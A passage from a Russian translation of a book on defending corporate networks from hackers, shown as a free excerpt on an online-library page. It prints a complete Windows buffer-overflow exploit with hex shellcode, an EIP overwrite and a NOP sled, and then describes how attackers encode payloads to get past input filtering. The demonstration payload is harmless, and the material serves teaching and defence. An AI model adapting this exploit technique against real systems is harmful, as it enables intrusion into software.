Коллектив авторов - Защита от хакеров корпоративных сетей

Тут можно читать онлайн Коллектив авторов - Защита от хакеров корпоративных сетей - бесплатно ознакомительный отрывок. Жанр: Прочая околокомпьтерная литература. Здесь Вы можете читать ознакомительный отрывок из книги онлайн без регистрации и SMS на сайте лучшей интернет библиотеки ЛибКинг или прочесть краткое содержание (суть), предисловие и аннотацию. Так же сможете купить и скачать торрент в электронном формате fb2, найти и слушать аудиокнигу на русском языке или узнать сколько частей в серии и всего страниц в публикации. Читателям доступно смотреть обложку, картинки, описание и отзывы (комментарии) о произведении.

Коллектив авторов - Защита от хакеров корпоративных сетей краткое содержание

Защита от хакеров корпоративных сетей - описание и краткое содержание, автор Коллектив авторов, читайте бесплатно онлайн на сайте электронной библиотеки LibKing.Ru

В книге рассматривается современный взгляд на хакерство, реинжиниринг и защиту информации. Авторы предлагают читателям список законов, которые определяют работу систем компьютерной безопасности, рассказывают, как можно применять эти законы в хакерских технологиях. Описываются типы атак и возможный ущерб, который они могут нанести компьютерным системам. В книге широко представлены различные методы хакинга, такие, как поиск различий, методы распознавания шифров, основы их вскрытия и схемы кодирования. Освещаются проблемы безопасности, возникающие в результате непредсказуемого ввода данных пользователем, методы использования машинно-ориентированного языка, возможности применения мониторинга сетевых коммуникаций, механизмы туннелирования для перехвата сетевого трафика. В книге представлены основные сведения о хакерстве аппаратных средств, вирусах, троянских конях и червях. В этой книге читатель узнает о методах, которые в случае неправильного их применения приведут к нарушению законодательства и связанным с этим последствиям.

Лучшая защита – это нападение. Другими словами, единственный способ остановить хакера заключается в том, чтобы думать, как он. Эти фразы олицетворяют подход, который, по мнению авторов, позволит наилучшим образом обеспечить безопасность информационной системы.

Перевод: Александр Петренко

Защита от хакеров корпоративных сетей - читать онлайн бесплатно ознакомительный отрывок

Защита от хакеров корпоративных сетей - читать книгу онлайн бесплатно (ознакомительный отрывок), автор Коллектив авторов
Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать

MessageBox(NULL, “hi”, NULL, MB_OK);

ExitProcess(1);

Для преобразования прототипа программного кода полезной нагрузки на языке C в код ассемблера воспользуемся встроенным ассемблером компилятора Visual C, а затем перенесем результат трансляции в буфер BYTE.

Вместо того чтобы в этом месте привести пример соответствующего программного кода ассемблера, будет лучше, если читатель просмотрит приведенный ниже пример программы переполнения буфера, в которой создается файл, инициализируется заполнителем буфер, определяется точка перехода, в буфер записывается программный код полезной загрузки и, наконец, буфер выгружается в файл.

При желании перед записью программного кода полезной нагрузки в файл можно оттестировать его. Для этого следует убрать комментарии в части кода, отмеченного как тест. Это приведет к выполнению программного кода полезной нагрузки вместо записи его в файл.

Приведенная ниже программа была написана как пример программирования основных положений переполнения буфера. В ней использованы определенные символическими константами адреса используемых функций, поэтому она может не работать на системе, несовместимой с Win2k sp2.

Программа проста и непереносима. Для ее работы на других платформах следует заменить значения символических констант, определенных макросами #define, на правильные адреса используемых функций. Адреса можно узнать с помощью утилит Visual Studio depends.exe или dumpbin.exe.

Изюминка приведенной программы заключается в нестандартном использовании команды call. Нестандартное применение команды call позволяет загрузить в стек адрес строки символов, расположенной следом за командой call. Это позволяет не только включить данные в программный код, но и не требует знания адреса загрузки программного кода полезной нагрузки или смещений в управляющем коде.

Другими словами, команда call записывает в стек адрес следующей за ней строки, полагая, что записывает адрес команды, которая будет выполнена по завершении функции командой ret. Аналогичный прием был использован в программе переполнения буфера для Linux.

Для безошибочной трансляции программы компилятором Visual Studio при включении строки символов в программный код требуется использовать директиву _emit.

#include

/*

Example NT Exploit

Ryan Permeh, ryan@eeye.com

*/

int main(int argc,char **argv)

{

#define MBOX 0x77E375D5

#define LL 0x77E8A254

#define EP 0x77E98F94

DWORD EIP=0x77E8250A; // a pointer to a

//call ESP in KERNEL32.dll

//found with findoffset.c

BYTE writeme[65]; //mass overflow holder

BYTE code[49] ={

0xE8, 0x07, 0x00, 0x00, 0x00, 0x55,

0x53, 0x45, 0x52, 0x33, 0x32, 0x00,

0xB8, 0x54, 0xA2, 0xE8, 0x77, 0xFF,

0xD0, 0x6A, 0x00, 0x6A, 0x00, 0xE8,

0x03, 0x00, 0x00, 0x00, 0x48, 0x49,

0x00, 0x6A, 0x00, 0xB8, 0xD5, 0x75,

0xE3, 0x77, 0xFF, 0xD0, 0x6A, 0x01,

0xB8, 0x94, 0x8F, 0xE9, 0x77, 0xFF,

0xD0

};

HANDLE file;

DWORD written;

/*

__asm

{

call tag1 ; jump over(trick push)

_emit 0x55 ; “USER32”,0x00

_emit 0x53

_emit 0x45

_emit 0x52

_emit 0x33

_emit 0x32

_emit 0x00

tag1:

// LoadLibrary(“USER32”);

mov EAX, LL ;put the LoadLibraryA

address in EAX

call EAX ;call LoadLibraryA

push 0 ;push MBOX_OK(4th arg to mbox)

push 0 ;push NULL(3rd arg to mbox)

call tag2 ; jump over(trick push)

_emit 0x48 ; “HI”,0x00

_emit 0x49

_emit 0x00

tag2:

push 0 ;push NULL(1st arg to mbox)

// MessageBox (NULL, “hi”, NULL, MB_OK);

mov EAX, MBOX ;put the MessageBox

address in EAX

call EAX ;Call MessageBox

push 1 ;push 1 (only arg

to exit)

// ExitProcess(1);

mov EAX, EP ; put the

ExitProcess address in EAX

call EAX ;call ExitProcess

}

*/

/*

char *i=code; //simple test code pointer

//this is to test the code

__asm

{

mov EAX, i

call EAX

}

*/

/* Our overflow string looks like this:

[0x90*12][EIP][code]

The 0x90(nop)’s overwrite the buffer, and the saved EBP on

the stack, and then EIP replaces the saved EIP on the stack.

The saved EIP is replaced with a jump address that points to

a call ESP. When call ESP executes, it executes our code

waiting in ESP.*/

memset(writeme,0x90,65); //set my local string to nops

memcpy(writeme+12,&EIP,4); //overwrite EIP here

memcpy(writeme+16,code,49); // copy the code into our

temp buf

//open the file

file=CreateFile(“badfile”,GENERIC_WRITE,0,NULL,

OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

//write our shellcode to the file

WriteFile(file,writeme,65,&written,NULL);

CloseHandle(file);

//we’re done

return 1;

}

Современные способы переполнения буфера

После изучения обязательного минимума пришло время познакомиться с современными способами переполнения буфера. Одни из них применимы повсеместно, другие – в частных случаях. С течением времени злоумышленники узнают о переполнении буфера все больше, поэтому сегодня для успешной защиты от атак переполнения буфера необходимо знать изощренные способы извлечения из него пользы.

Фильтрация входных данных

Современные программисты, стремясь как можно лучше защититься от атак переполнения буфера, начинают создавать программы, которые перед записью входных данных в буфер проверяют, нет ли в них выполняемого программного кода. Подобные программы серьезно затрудняют деятельность злоумышленника, не позволяя ему запросто поместить злонамеренный код в программе. Большие неприятности сулят нулевые байты в буфере, поэтому современные программисты тщательно исследуют безопасность записываемых в буфер данных.

Способов анализа безопасности данных много, и каждый из них по-своему препятствует переполнению буфера.

Например, некоторые программисты проверяют значения входных данных. Если ожидается ввод чисел, то перед записью в буфер проверяется, является ли каждое введенное значение числом. В стандартной библиотеке языка C есть несколько функций, которые проверяют значение введенных данных. Ниже приведены некоторые из них для платформы Win32. Для работы в 16-битном стандарте кодирования символов Unicode существуют аналогичные функции проверки «широких» символов.

int isalnum( int c ); checks if it is in A-Z,a-z,0-9

int isalpha( int c ); checks if it is in A-Z,a-z

int __isascii( int c ); checks if it is in 0x00-0x7f

int isdigit( int c ); checks if it is in 0-9

isxdigit( int c ); checks if it is in 0-9, A-F

Подобные функции реализованы во многих библиотеках С для UNIX.

Хорошая программа переполнения буфера должна преодолевать фильтрацию входных данных. Для этого создаются специальные программы кодирования входных данных, позволяющие обмануть фильтрацию.

Было проведено много исследований в области создания программного кода полезной нагрузки, состоящего из алфавитно-цифровых символов и младших символов кода ASCII. При возможности реализации этим способом необходимых функциональных возможностей исследования увенчались успехом. В частности, был разработан способ кодирования полезной нагрузки по стандартам MIME (MIME – набор стандартов для передачи мультимедийной информации посредством электронной почты) или командой XOR, выполненной над последовательностью из нескольких байт. Применяемая кодировка позволяет маскировать странную последовательность байтов под программный код полезной нагрузки из ASCII-символов.

Другой способ преодоления проверки входных данных заключается в том, чтобы избежать фильтрации данных. Например, присвоив переменной окружения или переменной сессии двоичную строку программного кода полезной нагрузки, можно сократить число байтов, которые должны удовлетворять условиям проверки входных данных.

Читать дальше
Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать


Коллектив авторов читать все книги автора по порядку

Коллектив авторов - все книги автора в одном месте читать по порядку полные версии на сайте онлайн библиотеки LibKing.




Защита от хакеров корпоративных сетей отзывы


Отзывы читателей о книге Защита от хакеров корпоративных сетей, автор: Коллектив авторов. Читайте комментарии и мнения людей о произведении.


Понравилась книга? Поделитесь впечатлениями - оставьте Ваш отзыв или расскажите друзьям

Напишите свой комментарий
x